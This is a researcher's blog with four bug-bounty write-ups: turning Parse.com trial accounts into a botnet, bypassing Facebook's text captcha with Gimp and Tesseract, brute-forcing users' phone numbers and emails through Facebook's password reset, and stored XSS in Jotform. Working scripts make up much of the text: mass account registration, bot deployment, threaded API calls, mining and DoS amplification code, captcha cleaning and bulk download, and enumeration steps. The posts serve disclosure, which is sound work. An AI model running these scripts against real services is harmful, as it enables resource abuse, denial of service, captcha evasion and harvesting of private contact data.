Showing posts with label facebook. Show all posts
Showing posts with label facebook. Show all posts

Wednesday, 10 September 2014

Building a Cloud Botnet on Parse.com

Today I'm going to talk about Parse.com and a trial account feature that allowed me to build a cloud botnet.

Parse is a cloud based app service that lets you deploy and run your app code in the cloud making building and maintaining apps easier. Facebook bought the company in 2013 and with it being eligible for the bounty program I thought I'd take a look for security issues.


Want a free account?

Parse offer free trial accounts with 20GB storage, 2TB traffic per month, a maximum of 30 requests/sec and the ability to run one process at a time for a maximum of 15 seconds before it's killed.

The stats above are for one account, but how about if we sign up for two accounts? Well that would effectively double all my quotas. How about a hundred, thousand or a million accounts? I could massively increase my limits and cause all kinds of mischief.

Taking a look at the registration page (in 2013) there was no hardening at all. Account registration was as simple as sending this POST request:


In 2013 no email verification was required, no CSRF token, no captcha, no throttling. The security team had basically missed the registration page. One year later, email verification is still not required. A CSRF header is now required and so is a session cookie. But there still isn't any anti-automation so anyone could register a million trial accounts.


Building my army

In 2013 it was easy to register accounts by just using Burp Intruder to send multiple registration POST requests. Because of the new session/CSRF requirements in 2014 I created a python script to perform registration.

The script will connect to Parse, grab session info and CSRF header, register an account, register an app for that account then grab the API keys which we'll need to communicate with our bots.

My account creation script:
import requests
import re
from random import randint

for i in xrange(0,100,1):
    user = "blahblah" + str(randint(100,999))
    print user

    print "[+] Getting Parse main page"    
    s = requests.Session()
    r = s.get('https://parse.com')
    global csrf;
    csrf = re.findall('[a-zA-Z0-9+/]{43}=', r.text);
    print "-----CSRF Token: " + csrf[0]
    s.headers.update({'X-CSRF-Token': csrf[0]})

    print("[+] Posting registration request");
    payload = {'user[name]':user, 'user[email]':user+'@test.com', 'user[password]':'password1'};
    r = s.post('https://parse.com/users', params=payload)
    print r.status_code

    print("[+] PUTing new app name");
    s.headers.update({'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'})
    payload = {'user[company_type]':'individual','parse_app[name]':'blahblahblah'+str(randint(100,999))};
    r = s.put('https://parse.com/account', params=payload);
    print r.status_code

    print("[+] Grabbing keys");
    r = s.get('https://parse.com/account/keys');
    print r.status_code
    print user +':'+ str(keys[0]).replace('<input type="text" value="','') + ':' + str(keys[5]).replace('<input type="text" value="','')


Using the Parse tools to deploy code

There are two ways to deploy code either using the Parse tool (a packaged python script) or directly through the API (api.parse.com/1/deploy). Directly connecting to the API is the cleaner option but it would have taken me a while to reverse the Parse tool and extract the integrity check code. To save time I just used the Parse tool as is. To use the tool though you need to create a project locally and add your apps before you can deploy code.

Create a new project:
parse new parsebotnet

Add every app locally:
#!/usr/bin/expect -f
for {set i 1} {$i < 101} {incr i 1} {
set timeout -1
spawn parse add
expect "Email:*"
send -- "test$i@test.com\r"
expect "Password:*"
send -- "test$i\r"
expect "Select an App:"
send -- "1\r"
send -- "\r"
}

You can then grep the appids and keys from the global.json settings file:
cat global.json|grep applicationId|cut -d "\"" -f4 > appid
cat global.json|grep masterKey|cut -d "\"" -f4 > keys

To send code to Parse you just put code in the cloud folder on your local machine and run the deploy command. I started off by putting the helloworld program in main.js:
Parse.Cloud.define("hello", function(request, response) {
  response.success("Hello world!");
});

And uploaded it to every bot using a bash for loop:
#!/bin/bash
for i in {1..100};do echo "Job#$i";parse deploy testapp1$i & done;

Not the cleanest approach but the Parse tool does all of the leg work.


Running Code

With the bot accounts created and code uploaded I could call the API and have the bots actually run my code. The simple approach was just using Curl:
#!/bin/bash

eof=0
exec 5<appid
exec 6<key
while [[ $eof -eq 0 ]]
do
 if read l1<&5; then
  read l2 <&6
  curl -X POST -H "X-Parse-Application-Id: $l1" -H "X-Parse-Master-Key: $l2" -H "Content-Type: application/json" -d {} https://api.parse.com/1/functions/hello
  printf "\n"
 else
  eof=1
 fi
done

I also put together a more snazzy python script with threading code from stackoverflow:
import requests
import re
from random import randint
import threading
import time
import Queue
import json

with open("appid") as f:
    appid = f.readlines()

with open("keys") as f:
    key = f.readlines()

s = requests.Session()

def callapi(x):
    s.headers.update({'X-Parse-Application-Id': appid[x].rstrip()})
    s.headers.update({'X-Parse-Master-Key': key[x].rstrip()})
    payload = {'' : ''}
    r = s.post('https://api.parse.com/1/functions/hello', data=json.dumps(payload))
    print "No: " + str(x) + "  Code:" + str(r.status_code) + "  Dataz:" + str(r.text)

queue = Queue.Queue()

class ThreadUrl(threading.Thread):

  def __init__(self, queue):
    threading.Thread.__init__(self)
    self.queue = queue

  def run(self):
    while True:
      #grabs host from queue
      j = self.queue.get()

      #grabs urls of hosts and prints first 1024 bytes of page
      callapi(j)

      #signals to queue job is done
      self.queue.task_done()

start = time.time()
def main():

  #spawn a pool of threads, and pass them queue instance
  for m in range(160):
    t = ThreadUrl(queue)
    t.setDaemon(True)
    t.start()

  #populate queue with data  
  for n in xrange(0,1000,1):
    queue.put(n)

  #wait on the queue until everything has been processed    
  queue.join()

main()
print "Elapsed Time: %s" % (time.time() - start)


Do something cool!

At this point I'm sure a few of you are like this:


And I guess you're wondering, after all this configuration, what can you actually do?

Well Parse allows you to process data and send HTTP requests. For a bad guy this means they could do things like mine bitcoins, crack hashes, DOS attacks or proxy malicious requests. For testing purposes I decided to focus on bitcoin mining and DOS proof of concepts.


$$$ Mining some coin $$$

Knowing next to nothing about bitcoin mining I did a little Googling and came across the post here that had a great practical explanation of mining. As mining basically consists of SHA256 hashing I decided to create a hashing benchmark script for Parse. As Parse uses Javascript I took the SHA256 crypto JS here and uploaded it to Parse with a for loop and timer.

Parse.Cloud.define("sha256", function(request, response) {

<insert CryptoJS code>

start=newdate();
for(i=0;i<request.params.iter;i++){
CryptoJS.SHA256("Message" + i);
}
response.success("time: " + ((new Date())-start)/1000);
});

Testing different iteration values I found one Parse instance could handle roughly 40,000 hashes per second which is pretty slow. Using the threaded python script I included above I continually called multiple instances and could hit about 6,000,000 hashes per second. But even this is no where near the speeds of real mining hardware. (Also real mining uses double SHA256 so the 6Mh/s is probably nearer 3Mh/s in real terms)

Part of the problem is the 15 second time limit on Parse processes, another issue is Parse have throttling in place so if you make too many API requests they start blocking connections. So bitcoin mining seemed possible but not practical with the current restrictions.


Denial Of Service

Using multiple trial accounts and some form of amplification I was curious how high I could get my outbound traffic volume (going from Parse to my target).

Starting with some simple httpRequest code I was able to get my instance to send thirty outbound requests for every one API request, proving amplification was possible. Two things to note though, the outbound requests go at a max rate of around 15 requests a second, also you need to remove the success/error response as that will close the process.

Example test code is below:
Parse.Cloud.define("amptest", function(request, response) {

for(j=0;j<request.params.scale;j++){
Parse.Cloud.httpRequest({
        url: 'http://myip/hello',
        method: 'POST',
        body: {
        countj:j
        },
        success: function(httpResponse) {
            //response.success(httpResponse.text);
        },
       error: function(httpResponse) {
            //response.error("Some error: "+httpResponse.status);
       }
    });
}
});

When scaling this up though the bottleneck is the same as the bitcoin mining, 15 second processes and max API requests per second limit the throughput. But is there any way around these restrictions?


C&C in the cloud?

It dawned on me that instead of using my workstation as the command and control I could use one of my apps as the C&C. I could send one request to my C&C app and he would communicate with all the other apps. But why stop at one C&C? Having one master, multiple slave C&C's and a pool of workers would in theory help increase throughput as I would be sending requests from multiple Parse ip addresses.
I created some recursive app code that included a list of every bot's appid and key and pushed this to every bot. The code would select bots at random and request that they run the same code. I passed a counter parameter that was incremented after each request to give the illusion of a tiered infrastructure. When the counter hit the "worker tier", instead of calling other bots, the bot would send multiple http requests to the target site.

With multiple workers all simultaneously connecting to the target ip i got something like this:


The source ip is Parse, the destination is my local machine. Looking at the "Time" column you can see a throughput of roughly 600-1000 requests per second. For me this was a promising start and I'm sure with some code tweaks, more bots and more than one external ip, the requests per second could have been increased substantially.


90's worm + 2014 cloud = CLOUD WORM!?

Although I didn't have time to build a working POC I think it may be possible to build a cloud worm on Parse. In a nutshell, as Parse allow accounts to run code and send http requests, there is the possibility that a Parse app could itself create a new account, deploy and then run code. The new account would then repeat this process and so on, gradually consuming the entire cloud's resources.

Cloud worm POC is this weeks homework, class dismissed ;)


Final Thoughts

Letting people run code on your servers is a risky business. To prevent abuse you need a solid sandbox and tight resource restrictions/monitoring. In this post I've only scratched the surface of Parse looking at some super obvious issues. I wish I'd had more time to dig into the cloud worm possibilities as well as background jobs which looked interesting.

Mitigation-wise anti-automation and email verification on the sign-up page would have helped. As would tighter inbound/outbound throttling/resource restrictions for trial accounts and also blocking app to app access. I don't think Facebook/Parse chose to implement any of these fixes and instead decided to focus on monitoring for suspicious resource usage.

Questions, comments and corrections are always appreciated! Thanks for reading.

Pwndizzle out.

Thursday, 10 July 2014

How to Bypass Facebook's Text Captcha

In this post I'll discuss Facebook's text captcha and how to bypass it with a little Gimp-Fu image cleaning and Tesseract OCR. The techniques below build on previous work where I demonstrated how to bypass Bugcrowd's captcha.


The Facebook Captcha(s)

I've seen Facebook use two captchas. The first is the friend photo captcha, where you are required to select your friends in pictures. This one seemed hard to bypass (except when you attack your friend's account and know all of their friends).


The second type is the text-based captcha, where you just enter the letters/numbers shown in the image. Something like this:


Let's look at some ways to bypass the text captcha :)


A couple of logic flaws...

My original aim was to focus on OCR with Tesseract but it turns out the captcha had logic flaws as well.

Issue #1 - When entering the captcha not all of the characters needed to be correct. If you got one character wrong it would still be accepted.

Issue #2 - The captcha check is case insensitive. Despite using uppercase and lowercase letters in the captcha images, the server didn't actually verify the case of user input.

Issue #3 - Captcha repetition...


Each captcha should have contained a dynamically generated string randomly chosen from a pool of 62^7 possibilities. For some reason though I encountered repetition. This is obviously very bad as with a limited set of captchas an attacker can just download every image, solve them all and achieve a 100% bypass rate in the future. I have no idea what the cause of this issue was and Facebook didn't release any details.

The logic flaws were interesting but let's not forget OCR as well!


Back to the image...

Let's take a look at a Facebook captcha image:


When thinking about OCR analysis there's some things to note:
  • Letters/numbers themselves are clearly displayed in black - Good
  • Minimal overlaying, wiggling and distortion is used - Good
  • Black scribbles add noise to the background - Bad
  • White scribbles effectively remove pixels from the characters - Bad
I did some testing with Tesseract and found noise, image size, character size and spacing all had a big impact on the accuracy of results. For example, directly analysing the image above will return invalid characters or no response at all. To improve Tesseract results I needed some way to get rid of the noise and repair damaged characters.


Step #1 Cleaning 

I chose to use Gimp for my image cleaning as it was a program I was familiar with and it offered command line processing with Python. While the documentation (here and here) and debugging aren't too good, it gets the job done.

So first up I loaded the image and increased its size, I found processing a smaller image was less accurate and would reduce the quality of the final image.
#Load image
image = pdb.gimp_file_load(file, file)
drawable = pdb.gimp_image_get_active_layer(image)
#Double image size
pdb.gimp_image_scale(image,560,142)

Next I removed the background noise. By selecting by black and then shrinking the selection, the thin black lines would be unselected, leaving just the black letters. To actually paint over the noise I just had to re-grow my selection, invert and paint white.
#Select by color black
pdb.gimp_by_color_select(drawable,"#000000",20,2,0,0,0,0)
#Shrink selection by 1 pixel
pdb.gimp_selection_shrink(image,1)
#Grow selection by 2 pixels
pdb.gimp_selection_grow(image,2)
#Fill black
pdb.gimp_context_set_foreground((0,0,0))
pdb.gimp_edit_fill(drawable,0)
pdb.gimp_edit_fill(drawable,0)
pdb.gimp_edit_fill(drawable,0)
#Invert selection
pdb.gimp_selection_invert(image)
#Fill white
pdb.gimp_context_set_foreground((255,255,255))
pdb.gimp_edit_fill(drawable,0)

With the outside black noise removed I inverted again to reselect the letters/numbers then translated up and down, painting after each translation. This helped fill in the white lines that in general streaked horizontally through the black characters.
#Invert selection
pdb.gimp_selection_invert(image)
pdb.gimp_context_set_foreground((0,0,0))
#Translate selection up 4 pixels and paint
pdb.gimp_selection_translate(image,0,4)
pdb.gimp_edit_fill(drawable,0)
#Translate selection down 10 pixels and paint
pdb.gimp_selection_translate(image,0,-10)
pdb.gimp_edit_fill(drawable,0)

With the processing done I resized the image back to its original size and saved it.
#Resize image
pdb.gimp_image_scale(image,280,71)
#Export
pdb.gimp_file_save(image, drawable, file, file)
pdb.gimp_image_delete(image)

I've included the full script at the bottom of this post. I ran it with the following command:
gimp-console-2.8.exe -i -b "(python-clean RUN-NONINTERACTIVE \"test.png\")" -b "(gimp-quit 0)"

As an example, cleaning the image above I got this:



Step #2 Submitting to Tesseract

With the image now cleaned it was ready for Tesseract. To improve the accuracy of results I selected the single word mode (-psm 8) and used a custom character set (nobatch fb).
tesseract.exe test.jpg output -psm 8 nobatch fb

I created the fb character set in "C:\Program Files (x86)\Tesseract-OCR\tessdata\configs", it contained the following whitelist:
tessedit_char_whitelist abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890


Step #3 Automate everything with Python

I didn't bother to build a fully working POC to automate a real attack - I'm leaving this step as homework for you guys, best script wins $1 via Paypal ;) (I am of course joking don't actually do this!)

Theoretically though if you did want to build a fully functioning script you'd just need to take the python script from my Bugcrowd post and cleaning script from this post, combine and pwn.

Also the following can be used to download Facebook captchas after you have triggered the Facebook defenses:
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import re
import subprocess

def getpage():
    try:
        print("[+] POSTing to fb");
        params = {'lsd':'AVrQ4y7A', 'email':'09262073366', 'did_submit':'Search', '__user':'0', '__a':'1', '__dyn':'7wiUdp87ebG58mBWo', '__req':'p','__rev':'1114696','captcha_persist_data':'abc','recaptcha_challenge_field':'','captcha_response':'abc','confirmed':'1'}
        data = urlencode(params).encode('utf-8')
        request = Request("https://www.facebook.com/ajax/login/help/identify.php?ctx=recover")
        request.add_header('Cookie', 'locale=en_GB;datr=Ku2xUhSA3kShtkMud0JXRHCY; reg_fb_gate=https%3A%2F%2Fwww.facebook.com%2F%3Fstype%3Dlo%26jlou%3DAfco_1iUuf5XPNAuu9SBYhFnEoJfgxIw_9vwHlTfaTRjGB2Ac4VOSLHb018RjcLg3JVRsiY-sQlRSM00X59eKhLh5SJGHltQ0hEQ2WAiRR9A_g%26smuh%3D28853%26lh%3DAc-vs8zSU-_-6kh2%26aik%3Dqh9ABV52OPB3zXxCyUTNXw;')
        #Send request and analyse response
        f = urlopen(request, data)
        response = f.read().decode('utf-8')
        global ccode
        ccode = re.findall('[a-z0-9-]{43}', response)
        global chash
        chash = re.findall('[a-zA-Z0-9_-]{814}', response)
        print("[+] Parsed response");
    except URLError as e:
        print ("*****Error: Cannot retrieve URL*****");

def getcaptcha(i):
    try:
        print("[+] Downloading Captcha");
        captchaurl = "https://www.facebook.com/captcha/tfbimage.php?captcha_challenge_code="+ccode[0]+"&captcha_challenge_hash="+chash[1]
        urlretrieve(captchaurl,'fbcap'+str(i)+'.png')
    except URLError as e:
        print ("*****Error: Cannot retrieve URL*****");

print("[+] Start!");
for i in range(0, 1000):
    #Download page and parse data
    getpage();
    #Download captcha image
    getcaptcha(i);
print("[+] Finished!");



Final Results

So I guess you're wondering, how accurate was Tesseract? Well on a sample of 50 captchas that had been cleaned with Gimp, Tesseract was able to analyse them 100% correctly about 20% of the time. However taking into account the logic flaws the actual pass rate jumped to 50%.

Some example results:


It's quite impressive seeing how well both the Gimp cleaning and Tesseract analysis performed. Although you can also see how even subtle changes in the initial image can significantly affect both cleaning output and final analysis.


Facebook Fix #1

After reporting these issues the captcha repetition was addressed pretty quickly. The other logic flaws were left unchanged. The image itself was modified to make the characters/noise thicker:


Unfortunately this had little effect on the captcha strength as it's the noise to character relative thickness that mattered not the absolute thickness. Making the noise thicker and characters thinner, would have prevented noise removal through selection shrinking.


Final Thoughts

Another day, another captcha bypass. Whether you use Tesseract or a bad-ass custom neural network like Google or Vicarious, text captchas can be bypassed with relative ease. I managed a 20% pass-rate, I'm sure with a better cleaning process and/or Tesseract training this could be pushed a lot higher. It's time to ditch that text captcha.

Facebook said that right now the captcha is used more as a mechanism to slow down attacks as opposed to stopping attacks completely. The captcha will eventually be fixed but there are no plans at the moment.

Shout out to Facebook security for their help looking into this issue. Thanks for reading. Questions and comments are always appreciated, just leave a message below.

Pwndizzle out


############################################
#Gimp-Fu cleaning script, based on stackoverflow script here:
#http://stackoverflow.com/questions/12662676/writing-a-gimp-python-script?rq=1

from gimpfu import pdb, main, register, PF_STRING

def clean(file):
    #Load image
    image = pdb.gimp_file_load(file, file)
    drawable = pdb.gimp_image_get_active_layer(image)
    #Double image size
    pdb.gimp_image_scale(image,560,142)
    #Select by color black
    pdb.gimp_by_color_select(drawable,"#000000",20,2,0,0,0,0)
    #Shrink selection by 1 pixel
    pdb.gimp_selection_shrink(image,1)
    #Grow selection by 2 pixels
    pdb.gimp_selection_grow(image,2)
    #Fill black
    pdb.gimp_context_set_foreground((0,0,0))
    pdb.gimp_edit_fill(drawable,0)
    pdb.gimp_edit_fill(drawable,0)
    pdb.gimp_edit_fill(drawable,0)
    #Invert selection
    pdb.gimp_selection_invert(image)
    #Fill white
    pdb.gimp_context_set_foreground((255,255,255))
    pdb.gimp_edit_fill(drawable,0)
    #Invert selection
    pdb.gimp_selection_invert(image)
    pdb.gimp_context_set_foreground((0,0,0))
    #Translate selection up 4 pixels and paint
    pdb.gimp_selection_translate(image,0,4)
    pdb.gimp_edit_fill(drawable,0)
    #Translate selection down 10 pixels and paint
    pdb.gimp_selection_translate(image,0,-10)
    pdb.gimp_edit_fill(drawable,0)
    #Resize image
    pdb.gimp_image_scale(image,280,71)
    #Export
    pdb.gimp_file_save(image, drawable, file, file)
    pdb.gimp_image_delete(image)

args = [(PF_STRING, 'file', 'GlobPattern', '*.*')]
register('python-clean', '', '', '', '', '', '', '', args, [], clean)

main()

############################################

Friday, 7 February 2014

Brute Forcing Your Facebook Email and Phone Number

Today I'm going to talk about the Facebook password reset page and a series of flaws that allowed anyone to brute force a user's primary email or mobile phone number.

TL;DR Iterate over phone numbers/emails, dump valid but anonymous data, use manual/automated enumeration to find specific owners.


Forgot my password...

To perform a password reset on Facebook you first have to find your account. You can conveniently search by either your email, phone, id, username or full name.



If the account has used your ip range before, you will be shown the username, picture of the user, obfuscated email and obfuscated phone number and from here you can choose how you want to reset your password.

Once you press continue Facebook will send you a one time password reset link/code that can be used to change your password. 


Under the hood

When you press that first "Search" button, two requests are sent.

- Request #1 (POST /ajax/login/help/identify.php?ctx=recover) seems to be an initial check to verify if the data you are requesting actually exists. If it does, a cookie is set and you are redirected (Request #2). If it doesn't exist you are given an error message.

- Request #2 (GET /recover/initiate) if you are redirected, the request passes the cookie from step one and the server will give you the password reset info, name/image/email/phone.

So where are the flaws?


Issue #1 Verify information through look-up


Did you notice how we were able to search for an arbitrary user/email/phone number and obtain the username/image/obfuscated data? The lookup feature
fundamentally contains and operates using an information disclosure vulnerability. We're able to gain limited information about specific users we're not friends with and even evade privacy settings.

Using Request #1 we can effectively ask the Facebook server does this email/phone number exist in your database? And the server will reply yes or no. It won't however tell us who the owner is. This kind of information disclosure is present in a number of features on Facebook.

Using Request #2 we can ask the server who the specific owner of a particular phone/email is and the server will tell us. Awesome, but there are some server-side checks which mean this information is only disclosed (i think) if you have a specific cookie, user-agent or if the request is coming an ip range the account has used before. So user lookups are still possible with Request #2 but you'll only be able to find users who've used your ip range. Example below.

Invalid IP - Searching by email, our email is echo'ed back but username is not given as the account has never logged in from my network.


Valid IP - After logging in, again searching by email we see the email, but this time we are also given the username and image.



Issue #2 No throttling of requests

For Request #1 no throttling mechanism was used. This meant it was possible to repeatedly query the Facebook server, effectively allowing mass collection of valid users/emails/phone numbers (a spammers dream come true).

If you send Request #2 too often you'll hit a captcha, but not a hard cap. So for a determined attacker they could just repeatedly enter the captcha.


Issue #3 Obfuscation fail


Although it may seem trivial, by giving away two characters plus the domain for email addresses and four out of eleven characters for phone numbers Facebook had made these parameters significantly easier to brute force.

Take my phone number for example. My number is 11 digits long. The first four digits are from the carrier and for most countries there will be a small number of possibilities (50 in my case). Facebook have told us the last four digits. So my 11 digit number (99,999,999,999 possible combinations) has been reduced to 11 - 4 (FB) - 4 (Carrier) = 3 digits (1000 possible combinations per carrier range!).

The same applies to email addresses although they are harder to guess because of the larger search space.


Putting it all together...

Taking advantage of the issues above it is possible to effectively brute force a specific user's phone number or email. For a phone number the attack goes like this:
  1. Get on an ip range that your target has recently used
  2. Search for the user by id, username or email
  3. Obtain the last four digits of the phone number
  4. Search the entire number space (with Request #1) and build a list of possible numbers
  5. Re-submit numbers one by one (Request #1 and Request #2), manually entering the captcha
  6. Eventually one of the numbers will show you the reset page for your target, which tells us that number is the targets number!



So lets see some of this stuff in action...


Enumerating everything!

The simplest attack is just to enumerate everyone/everything. You won't know the owners of the emails/phone numbers but you'll still know they are valid and are being used by a Facebook user.

All we need to do for enumeration is send the following POST request containing our guess, which can be a user/email/phone number.


Using Burp Intruder I performed two tests, one where I found valid phone numbers, another where I found valid emails. The first payload I used looked like this <carrier><payload><3362>. Responses of 809 indicate invalid numbers while 1081/1102 indicate valid numbers.


For email testing I submitted the payload johnsmith<number>@gmail.com. Same as before, 809 indicates invalid emails where as 1102/1123 indicates valid emails.


And because there is no captcha or throttling we can just keep going and going until we've found every email/phone number registered with Facebook and spam/spear phish them all :)


Targeted Pwnage

Although a targeted attack is harder, it's still possible with a little preparation. To demonstrate, I'll attempt to find the phone number for my target user mark.zockerberg.54.

First up, to evade the Facebook checks we'll need to attack from an ip in a range that our target has recently used. Next we'll need some way to identify our user - id, name, username and email/phone number are all options. I start off by searching for the username in the request below:



The response from this request will redirect us to the page with basic user data: 


Using the 4 digits from Facebook and mobile carrier ranges obtained from Google I now start searching for potential numbers that our user could be using:


Scanning every carrier range (changing 0926 for 0927, 0928 etc.) we will get a reasonably small list of potential numbers.


Because of the captcha on Request #2 we can't automate number to name enumeration, so the only way to convert all of our numbers to users is by manually searching and completing the captcha. Assuming you have 300 numbers and it takes you 15 seconds to enter the captcha for each number, it will take just over an hour to check them all. Eventually one of the numbers you enter will lead you back to the password reset page for your target, effectively confirming that the number belongs to that user!

If there was no captcha or you had a bypass you'd be able to automate username lookups something like the following:


Here I converted the sfiu cookie direct to user and you can see we get our user Mark Zockerberg (the captcha kicks in right after)

The techniques I used above could also have been used to find a user's email address. Although with emails containing both letters and numbers the search space is a lot larger, e.g. email with 8 characters = 36^8 combinations! With that said, a lot of users will use emails that contain dictionary words or their names, so it may not actually be that hard. Also for an attacker targeting a specific company he could dump emails from their website/google and run those addresses through the password reset to locate and then target their employees, could provide some interesting results.


Final Thoughts


The classic email password reset can and is often implemented completely securely with no information disclosure. Both Google and Facebook however have created multi-step resets that involve information disclosure. For me it just doesn't sit well and I suspect we might see changes in the future.

To mitigate the attacks discussed above Facebook reduced the phone number digits disclosed from four to two and implemented a captcha check for Request #1. The fundamental issue of providing a look-up feature though has not been modified. So if you have a botnet or captcha bypass (watch this space!) you can still dump valid numbers and emails.

I hope you guys have enjoyed this post, questions, comments, are always appreciated.

Pwndizzle over and out

Tuesday, 9 April 2013

A Facebook Third Party XSS Privacy Slip-up

Back in January Facebook introduced a new feature that allowed you to send in questions to their Chief Privacy Officer, Erin Egan.

It turns out the question form contained an XSS vulnerability :)


Erin where you at?

The Facebook page was pretty straight forward, a bit of blurb and a form to submit your questions.



Here's the question form:
I assumed the question would be sent straight to Facebook but I was curious exactly how/where. Looking at the page code I saw something similar to the following:  


The form actually posted to Jotform.me, not Facebook. Looks like it's a third party plugin of some kind?


The Jotform form

To better understand what was going on I headed to Jotform.com and signed up for a free account. I created a form identical to the Facebook form and injected an XSS image payload into every field.

When I viewed my submissions page I got the following:




Looks like we've found a stored XSS vulnerability. Digging into the page code you can see that we didn't even need to break out of an attribute, html tags are just accepted and rendered! Uh oh.


To gain access to Erin's Jotform account all we'd need to do is submit a standard XSS payload through the Facebook form and wait until she views her submissions on the Jotform site. It's almost too easy.

Now the clever ones among you may have noticed the irony of this situation. By gaining access to the Facebook JotForm account we'd be able to see all of the privacy questions people submitted through the Facebook site. Essentially breaching the privacy of people's privacy questions!



Privacy breaches aside, we could also target Erin directly with social engineering, redirect her to our own malicious site with the latest Adobe/Java exploits or a phishing page. XSS is really just the first step, there are many ways we could potentially drop the pwnage.

Speaking of pwnage...


Pwning every JotForm user

Although I didn't test this, it appears that it would be trivial to exploit almost every JotForm user by simply submitting malicious post requests across multiple account IDs. Post requests are non-authenticated and sent to a predictable URL:

e.g. http://submit.jotform.me/submit/30563167563456

With a little python/perl/ruby we could easily create a script to iterate through those ID numbers.

Or to speed this up we could distribute the attack by creating a worm that used some javascript to force users into re-posting to many different IDs thus spreading the payload. Gradually we'd compromise every single JotForm user. Nice.


Preventing stored XSS

Addressing XSS is usually straight forward. Some basic filtering/encoding of quotes and brackets normally does the job. However because Jotform actually used the tags from user submissions they had decided to implement a blacklist approach to filter malicious content. While this provided some protection it was trivial to evade.

As we saw earlier they missed the image event handler. They also missed the embed tag that I mentioned in my last post:


I've only covered the obvious examples, no doubt there are many more XSS vectors lurking on JotForm :)


Conclusion

Lesson number one, never trust third parties. If they get hacked, you get hacked.

Lesson number two, don't allow the inclusion of user defined HTML, it's just asking for trouble.

Both Facebook and Jotform were notified of these issues and they have now been fixed. Thanks to both companies for the quick responses!


Pwndizzle out